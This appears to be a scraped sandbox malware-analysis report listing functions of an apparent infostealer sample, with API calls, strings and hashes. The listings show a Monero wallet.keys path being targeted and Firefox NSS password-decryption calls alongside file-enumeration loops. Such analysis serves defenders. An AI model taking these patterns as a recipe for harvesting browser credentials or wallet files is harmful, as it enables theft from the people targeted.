Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5485dc1abd78a163c7c67588ff5c7ad40afed0ad16f1d22bf82875a9466c08f7
Instruction ID: 5e36c33d161dbfa98de32458f4c1710b6200010681ff2ee3f3ec18398b20c7db
Opcode Fuzzy Hash: 5485dc1abd78a163c7c67588ff5c7ad40afed0ad16f1d22bf82875a9466c08f7
Instruction Fuzzy Hash: 4FE012B5E5C30263CE0073BAFC0AB2A33DC9B15345F0448A5FA05D2602FE29E8008576

Non-executed Functions

Function 00BA38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BA38CC
FindFirstFileA.KERNEL32(?,?), ref: 00BA38E3
lstrcat.KERNEL32(?,?), ref: 00BA3935
StrCmpCA.SHLWAPI(?,00BB0F70), ref: 00BA3947
StrCmpCA.SHLWAPI(?,00BB0F74), ref: 00BA395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00BA3C67
FindClose.KERNEL32(000000FF), ref: 00BA3C7C

Strings

%s\%s\%s, xrefs: 00BA3A4A
%s\*, xrefs: 00BA38C0
%s\%s, xrefs: 00BA397A
%s%s, xrefs: 00BA3AAD
%s\%s, xrefs: 00BA3A6F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: a13a7859195b11feb0e2aa672eae8cfd6b859046d09ce633adcb0fdda3678404
Instruction ID: cb64ac6a64c17dba5999b1c79c5ff1ba9931367f6959570bdb9e33511d3a38c9
Opcode Fuzzy Hash: a13a7859195b11feb0e2aa672eae8cfd6b859046d09ce633adcb0fdda3678404
Instruction Fuzzy Hash: 10A12DB1A04318ABDB24DBA4DC85FFE73B8EB49700F0485D9B50996141EB759B84CF62

Function 00BA4570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BA4580
RtlAllocateHeap.NTDLL(00000000), ref: 00BA4587
wsprintfA.USER32 ref: 00BA45A6
FindFirstFileA.KERNEL32(?,?), ref: 00BA45BD
StrCmpCA.SHLWAPI(?,00BB0FC4), ref: 00BA45EB
StrCmpCA.SHLWAPI(?,00BB0FC8), ref: 00BA4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00BA468B
FindClose.KERNEL32(000000FF), ref: 00BA46A0
lstrcat.KERNEL32(?,0063E938), ref: 00BA46C5
lstrcat.KERNEL32(?,0063D700), ref: 00BA46D8
lstrlen.KERNEL32(?), ref: 00BA46E5
lstrlen.KERNEL32(?), ref: 00BA46F6

Strings

%s\%s, xrefs: 00BA461B
8c, xrefs: 00BA46B7
%s\*, xrefs: 00BA459A

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$8c
API String ID: 671575355-2440977152
Opcode ID: e1ac6db6ce0cfa4c1fde3b46e87ca3845dba998c8bb7c5770b83ba4f033a3308
Instruction ID: 1a6d1ed2260a9cc206ea36908dd37be983dfb2ab9d16204db79fa2ab9aa3a2bb
Opcode Fuzzy Hash: e1ac6db6ce0cfa4c1fde3b46e87ca3845dba998c8bb7c5770b83ba4f033a3308
Instruction Fuzzy Hash: F8514871914318ABC724EB74DC89FFE73BCAB59300F4085D9B509D6150EB749B848FA1

Function 00B9ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B9ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00B9ED55
StrCmpCA.SHLWAPI(?,00BB1538), ref: 00B9EDAB
StrCmpCA.SHLWAPI(?,00BB153C), ref: 00B9EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00B9F2AE
FindClose.KERNEL32(000000FF), ref: 00B9F2C3

Strings

%s\*.*, xrefs: 00B9ED32

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: e97e91fbb2cfcc27ac53032f987bef45ad44c5a6da4145283e5abfb51bdebe7a
Instruction ID: ccb9a7b3523984ba2b47fc44e2141c6d8de98b5bed359ce9c47f95a055aec2dc
Opcode Fuzzy Hash: e97e91fbb2cfcc27ac53032f987bef45ad44c5a6da4145283e5abfb51bdebe7a
Instruction Fuzzy Hash: 4FE1E371915118AADB94FB64DC52EEE73B8AF55300F4045E9B40B62092EF346F8ACF71

Function 00B9DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00BB0C2E), ref: 00B9DE5E
StrCmpCA.SHLWAPI(?,00BB14C8), ref: 00B9DEAE
StrCmpCA.SHLWAPI(?,00BB14CC), ref: 00B9DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00B9E3E0
FindClose.KERNEL32(000000FF), ref: 00B9E3F2

Strings

\*.*, xrefs: 00B9DE26

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 16ef85adfd79929905a7ddaea18032a2d335bbf18afd599299bcc350f858b147
Instruction ID: 0dcfff96a7266e8142d5dee7b01b76f13088985570d95c2b04086a88da75e99d
Opcode Fuzzy Hash: 16ef85adfd79929905a7ddaea18032a2d335bbf18afd599299bcc350f858b147
Instruction Fuzzy Hash: 1CF1AD71918118AADB55FB64CC95EEE73B8BF15300F8041E9A41B62091EF746F8ACF72

Function 00B9C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B9C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B9C87C
PK11_GetInternalKeySlot.NSS3 ref: 00B9C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00B9C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00B9C8EB
lstrcat.KERNEL32(?,00BB0B46), ref: 00B9C943
lstrcat.KERNEL32(?,00BB0B47), ref: 00B9C957
PK11_FreeSlot.NSS3(?), ref: 00B9C961
lstrcat.KERNEL32(?,00BB0B4E), ref: 00B9C978

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 03c9b26ec6b9efd582b8bb5c0f22fc20e3dc9e29f5fa198b6a847d47a7c6d4b7
Instruction ID: 576f52ae8e3207e0fdf2b18c9794668819946eb2b2c8e613db522721b31854d6
Opcode Fuzzy Hash: 03c9b26ec6b9efd582b8bb5c0f22fc20e3dc9e29f5fa198b6a847d47a7c6d4b7
Instruction Fuzzy Hash: D04170B591431ADFDB10DFA4DD89BFEBBB8BB48304F1041A9E509A7280D7745A84CFA1

Function 00F5D522 Relevance: 10.3, Strings: 7, Instructions: 1568COMMON

Download Yara Rule

Strings

K6ms, xrefs: 00F5E060
DB^}, xrefs: 00F5D81C
6k*, xrefs: 00F5D79D
enp, xrefs: 00F5D9BF
bpo=, xrefs: 00F5E016
rV/w, xrefs: 00F5D7E9
K6ms, xrefs: 00F5E0CA

Memory Dump Source

Source File: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6k*$DB^}$K6ms$K6ms$bpo=$rV/w$enp
API String ID: 0-2275584171
Opcode ID: ce2cc0e6dda29a4fd4de6d3bbb74521cf1bee4bbcc1b540edd418f30fad0ad50
Instruction ID: 788aff59607f2cd8167afc3ad7fdc8541f4351942d354bb0993803987fe7ab65
Opcode Fuzzy Hash: ce2cc0e6dda29a4fd4de6d3bbb74521cf1bee4bbcc1b540edd418f30fad0ad50
Instruction Fuzzy Hash: 71B2E5F3A0C2009FE3146E2DEC8567AB7E9EF94720F1A493DE6C4C3744EA7558058697

Function 00F624F3 Relevance: 7.9, Strings: 5, Instructions: 1661COMMON

Download Yara Rule

Strings

|^, xrefs: 00F62DC6
CU@o, xrefs: 00F6340B
RU!}, xrefs: 00F63225
awW, xrefs: 00F62612
BS, xrefs: 00F631B3

Memory Dump Source

Source File: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: CU@o$RU!}$awW$|^$BS
API String ID: 0-2854897108
